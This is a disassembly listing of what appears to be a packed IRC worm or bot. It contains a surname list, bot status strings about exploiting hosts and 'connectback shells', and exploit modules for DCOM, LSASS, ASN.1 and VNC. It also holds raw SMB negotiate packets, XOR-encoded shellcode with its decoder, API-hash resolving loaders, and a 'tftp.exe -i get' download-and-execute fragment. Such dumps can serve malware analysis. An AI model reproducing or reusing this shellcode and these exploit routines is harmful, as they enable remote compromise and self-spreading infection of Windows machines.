aBaltz		db 'Baltz',0            ; DATA XREF: .packed:0042DA80o
		align 10h
aBallew		db 'Ballew',0           ; DATA XREF: .packed:0042DA7Co
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: .packed:0042DA78o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: .packed:0042DA74o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .packed:0042DA70o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: .packed:0042DA6Co
		align 10h
aBagnold	db 'Bagnold',0          ; DATA XREF: .packed:0042DA68o
aBaglivo	db 'Baglivo',0          ; DATA XREF: .packed:0042DA64o
aBady		db 'Bady',0             ; DATA XREF: .packed:0042DA60o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: .packed:0042DA5Co
		align 10h
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .packed:0042DA58o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: .packed:0042DA54o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: .packed:0042DA50o
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .packed:0042DA4Co
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .packed:0042DA48o
aAxworthy	db 'Axworthy',0         ; DATA XREF: .packed:0042DA44o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: .packed:0042DA40o
aAurelius	db 'Aurelius',0         ; DATA XREF: .packed:0042DA3Co
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: .packed:0042DA38o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: .packed:0042DA34o
		align 10h
aArky		db 'Arky',0             ; DATA XREF: .packed:0042DA30o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: .packed:0042DA2Co
		align 10h
aAristotle	db 'Aristotle',0        ; DATA XREF: .packed:0042DA28o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: .packed:0042DA24o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: .packed:0042DA20o
aArbia		db 'Arbia',0            ; DATA XREF: .packed:0042DA1Co
		align 4
aAntos		db 'Antos',0            ; DATA XREF: .packed:0042DA18o
		align 10h
aAnthony	db 'Anthony',0          ; DATA XREF: .packed:0042DA14o
aAnsley		db 'Ansley',0           ; DATA XREF: .packed:0042DA10o
		align 10h
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .packed:0042DA0Co
		align 4
aAndron		db 'Andron',0           ; DATA XREF: .packed:0042DA08o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: .packed:0042DA04o
		align 10h
aAndo		db 'Ando',0             ; DATA XREF: .packed:0042DA00o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: .packed:0042D9FCo
		align 10h
aAnand		db 'Anand',0            ; DATA XREF: .packed:0042D9F8o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: .packed:0042D9F4o
		align 10h
aAmeer		db 'Ameer',0            ; DATA XREF: .packed:0042D9F0o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .packed:0042D9ECo
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: .packed:0042D9E8o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .packed:0042D9E4o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: .packed:0042D9E0o
aAltavilla	db 'Altavilla',0        ; DATA XREF: .packed:0042D9DCo
		align 10h
aAlongi		db 'Alongi',0           ; DATA XREF: .packed:0042D9D8o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: .packed:0042D9D4o
aAleks		db 'Aleks',0            ; DATA XREF: .packed:0042D9D0o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: .packed:0042D9CCo
		align 10h
aAlcorn		db 'Alcorn',0           ; DATA XREF: .packed:0042D9C8o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: .packed:0042D9C4o
		align 10h
aAhlers		db 'Ahlers',0           ; DATA XREF: .packed:0042D9C0o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: .packed:0042D9BCo
		align 10h
aAdibe		db 'Adibe',0            ; DATA XREF: .packed:0042D9B8o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: .packed:0042D9B4o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: .packed:off_42D9B0o
aAdams		db 'Adams',0            ; DATA XREF: .packed:0042D9ACo
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: .packed:0042D9A8o
		align 10h
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .packed:off_42D9A4o
		align 4
byte_4315FC	db 50h			; DATA XREF: .packed:0040ABE6o
					; .packed:0040ABF3r
		db 43h,	2 dup(0)
dword_431600	dd 7C7325h		; DATA XREF: .packed:0040AC91o
dword_431604	dd 5D73255Bh, 7Ch	; DATA XREF: .packed:0040AD9Bo
dword_43160C	dd 3F3F3Fh		; DATA XREF: .packed:loc_40AD92o
					; sub_41AF8F:loc_41B052o
dword_431610	dd 334B32h		; DATA XREF: .packed:0040AD8Bo
dword_431614	dd 5058h		; DATA XREF: .packed:0040AD7Do
					; .packed:0040AF89o ...
dword_431618	dd 4B32h		; DATA XREF: .packed:0040AD6Do
					; .packed:0040AF79o ...
dword_43161C	dd 454Dh		; DATA XREF: .packed:0040AD54o
					; .packed:0040AF60o ...
dword_431620	dd 3839h		; DATA XREF: .packed:0040AD44o
					; .packed:0040AF50o ...
dword_431624	dd 544Eh		; DATA XREF: .packed:0040AD34o
					; .packed:0040AF41o ...
dword_431628	dd 3539h		; DATA XREF: .packed:0040AD26o
					; .packed:0040AF33o ...
dword_43162C	dd 5D64255Bh, 7325h	; DATA XREF: sub_40ADE1+3Ao
dword_431634	dd 5D4D5Bh		; DATA XREF: sub_40ADE1+2Co
					; sub_40ADE1+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40ADE1+18o
					; sub_41875E+5o
		align 10h
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: .packed:0040B0D6o
		align 10h
a99		db '99',0               ; DATA XREF: .packed:loc_40B098o
		align 4
a0D		db '0%d',0              ; DATA XREF: .packed:0040B072o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: .packed:0040B054o
					; sub_41ADD8+52o
off_431664	dd offset byte_4B4E55	; DATA XREF: .packed:0040B037o
dword_431668	dd 345053h		; DATA XREF: .packed:0040B02Do
dword_43166C	dd 34h			; DATA XREF: .packed:0040B021o
dword_431670	dd 335053h		; DATA XREF: .packed:0040B014o
dword_431674	dd 33h			; DATA XREF: .packed:0040B003o
dword_431678	dd 325053h		; DATA XREF: .packed:0040AFF6o
dword_43167C	dd 32h			; DATA XREF: .packed:0040AFE5o

; =============== S U B	R O U T	I N E =======================================



sub_431680	proc near		; DATA XREF: .packed:0040AFD8o
		push	ebx
		push	eax
		xor	[eax], eax
sub_431680	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_431684	dd 305053h		; DATA XREF: .packed:0040AFBAo
dword_431688	dd 4E55h		; DATA XREF: .packed:loc_40AF9Eo
dword_43168C	dd 3332h		; DATA XREF: .packed:0040AF97o
; ---------------------------------------------------------------------------


loc_431690:				; DATA XREF: sub_40B2B3+C4o
		jmp	short loc_431694
; ---------------------------------------------------------------------------


loc_431692:				; CODE XREF: .packed:loc_431694p
		jmp	short loc_431699
; ---------------------------------------------------------------------------


loc_431694:				; CODE XREF: .packed:loc_431690j
		call	loc_431692


loc_431699:				; CODE XREF: .packed:loc_431692j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_43169E	dw 0FFFFh		; DATA XREF: sub_40B2B3+CCw
		db 80h,	73h, 0Eh
byte_4316A3	db 0FFh			; DATA XREF: sub_40B2B3+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_4316A8:				; DATA XREF: sub_40B2B3+A2o
		jmp	short loc_4316AC
; ---------------------------------------------------------------------------


loc_4316AA:				; CODE XREF: .packed:loc_4316ACp
		jmp	short loc_4316B1
; ---------------------------------------------------------------------------


loc_4316AC:				; CODE XREF: .packed:loc_4316A8j
		call	loc_4316AA


loc_4316B1:				; CODE XREF: .packed:loc_4316AAj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4316B5	db 0FFh			; DATA XREF: sub_40B2B3+AAw
		dw 7380h
		db 0Ch
byte_4316B9	db 0FFh			; DATA XREF: sub_40B2B3+B0w
		dw 0E243h
		dd 0F9h
dword_4316C0	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B13C+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_431724	dd 12h			; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0		db 'j',0
		db 0E8h
dword_43173D	dd 17h			; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_431744
		retn
; ---------------------------------------------------------------------------
byte_431744	db 0E8h			; CODE XREF: .packed:00431741j
dword_431745	dd 1			; DATA XREF: sub_40B13C+45w
byte_431749	db 0, 6Ah, 0		; DATA XREF: sub_40B13C+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_431753	dd 0FFFFFFEDh		; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
dword_431784	dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
					; DATA XREF: sub_40B477+10o
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
		align 10h
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
		align 4
aSym		db 'sym',0              ; DATA XREF: sub_40C3E8+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BA9E+30o
					; .packed:0040E229o ...
		align 4
		dd 5 dup(0)
dword_431800	dd 0B97h		; DATA XREF: sub_401ACD+1D42r
					; sub_401ACD+1D6Ao ...
off_431804	dd offset sub_40EAE9	; DATA XREF: sub_40C3E8+1EAr
dword_431808	dd 0			; DATA XREF: sub_40B90E+2Eo
					; .packed:0040D759w ...
dword_43180C	dd 1			; DATA XREF: sub_40BD91+1Fr
dword_431810	dd 1			; DATA XREF: sub_40BD91+3B3r
dword_431814	dd 0			; DATA XREF: sub_40BD91+292r
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DF4Ch, 0
		dd 1, 2	dup(0)
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EC1Fh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D59Dh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D59Dh, 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 10h
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 40E830h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 10h
		db 2 dup(0)
byte_4319E2	db 1			; DATA XREF: sub_401ACD:loc_403789r
					; sub_401ACD+1CC6o
aAsn139_0	db 'asn139',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431A0E

; =============== S U B	R O U T	I N E =======================================



sub_4319FE	proc near		; CODE XREF: sub_4319FE:loc_431A0Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431A06:				; CODE XREF: sub_4319FE+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431A06
		jmp	short loc_431A13
; ---------------------------------------------------------------------------


loc_431A0E:				; CODE XREF: .packed:004319FCj
		call	sub_4319FE


loc_431A13:				; CODE XREF: sub_4319FE+Ej
		jo	short near ptr dword_43199C+12h
		cwde
		cdq
		cdq
		retn
sub_4319FE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
		align 10h
dword_431B90	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B90E+46o
unk_431B9C	db  2Dh	; -		; DATA XREF: sub_40B90E+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431BBC	db  2Dh	; -		; DATA XREF: sub_40B9DD+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431C04	db  2Dh	; -		; DATA XREF: sub_40BA49+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BA9E+7Fo
dword_431C40	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C50	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BA9E+14o
		dd 7473694Ch, 3Ah
unk_431C6C	db  2Dh	; -		; DATA XREF: sub_40BB65+172o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431CA0	db  2Dh	; -		; DATA XREF: sub_40BB65+80o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431CD0	db  2Dh	; -		; DATA XREF: sub_40BD1A+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431CF0	db  2Dh	; -		; DATA XREF: sub_40BD1A+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431D0C	db  2Dh	; -		; DATA XREF: sub_40BD91+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_431D40	db  2Dh	; -		; DATA XREF: sub_40BD91+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_31	db '- Failed to start server, error: <%d>.',0
unk_431D78	db  2Dh	; -		; DATA XREF: sub_40BD91+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_431DA8	db  2Dh	; -		; DATA XREF: sub_40BD91+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_32	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431DDC	db  2Dh	; -		; DATA XREF: sub_40BD91+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_431E10	db  2Dh	; -		; DATA XREF: sub_40BD91+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431E44	db  2Dh	; -		; DATA XREF: sub_40C3E8+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431E6C	db  2Dh	; -		; DATA XREF: sub_40C3E8+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431EA4	db  2Dh	; -		; DATA XREF: sub_40C600+1CEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431EE4	db  2Dh	; -		; DATA XREF: sub_40C600+173o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431F1C	db  2Dh	; -		; DATA XREF: sub_40C600+103o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F50	db  2Dh	; -		; DATA XREF: sub_40C600+87o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
unk_431F84	db  2Dh	; -		; DATA XREF: sub_40C85F+92o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 4
unk_431FAC	db  2Dh	; -		; DATA XREF: sub_40C92C+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
unk_431FD4	db  2Dh	; -		; DATA XREF: sub_40CA1D+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
unk_432000	db  2Dh	; -		; DATA XREF: sub_40CA1D+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CD9E+B2o
		align 4
dword_432038	dd 10FF8h, 0		; DATA XREF: sub_40CD9E+6Ao
dword_432040	dd 10FF8h		; DATA XREF: sub_40CD9E+79o
dword_432044	dd 7FFDF020h, 0		; DATA XREF: sub_40CD9E+162o
dword_43204C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D1C8+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320D4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D1C8+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_432104	dd 0			; DATA XREF: sub_40D1C8+44o
		dd 800000D4h, 0
unk_432110	db  81h	; 		; DATA XREF: sub_40D2A2+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_43215C	db 41h			; DATA XREF: sub_40D340+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4321A0	proc near		; DATA XREF: .packed:0040D61Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43229C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4322B2
		mov	[esi+8], eax
		call	sub_432265
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4322B2
		mov	[esi+0Ch], eax
		call	sub_432217
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4322B2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4321A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_432217	proc near		; CODE XREF: sub_4321A0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432240
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_432217	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432240	proc near		; CODE XREF: sub_432217+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43224F:				; CODE XREF: sub_432240+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43225C
		inc	ebx
		jmp	short loc_43224F
; ---------------------------------------------------------------------------


loc_43225C:				; CODE XREF: sub_432240+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432240	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432265	proc near		; CODE XREF: sub_4321A0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43227D:				; CODE XREF: sub_432265+1Ej
		cmp	[ecx], ebx
		jz	short loc_432285
		mov	ecx, [ecx]
		jmp	short loc_43227D
; ---------------------------------------------------------------------------


loc_432285:				; CODE XREF: sub_432265+1Aj
		mov	edx, edi


loc_432287:				; CODE XREF: sub_432265+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432291
		mov	edx, [edx+4]
		jmp	short loc_432287
; ---------------------------------------------------------------------------


loc_432291:				; CODE XREF: sub_432265+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_432265	endp


; =============== S U B	R O U T	I N E =======================================



sub_43229C	proc near		; CODE XREF: sub_4321A0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43229C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322B2	proc near		; CODE XREF: sub_4321A0+16p
					; sub_4321A0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4322C8:				; CODE XREF: sub_4322B2+33j
		jecxz	short loc_432302
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4322D5:				; CODE XREF: sub_4322B2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4322E1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4322D5
; ---------------------------------------------------------------------------


loc_4322E1:				; CODE XREF: sub_4322B2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4322C8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_432302:				; CODE XREF: sub_4322B2:loc_4322C8j
					; sub_4322B2:loc_432302j
		jmp	short loc_432302
sub_4322B2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_432308	proc near		; DATA XREF: .packed:0040D5CDo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_43235A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_432325:				; CODE XREF: sub_432308+38j
		jecxz	short loc_432355
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432330:				; CODE XREF: sub_432308+32j
		lodsb
		test	al, al
		jz	short loc_43233C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432330
; ---------------------------------------------------------------------------


loc_43233C:				; CODE XREF: sub_432308+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_432325
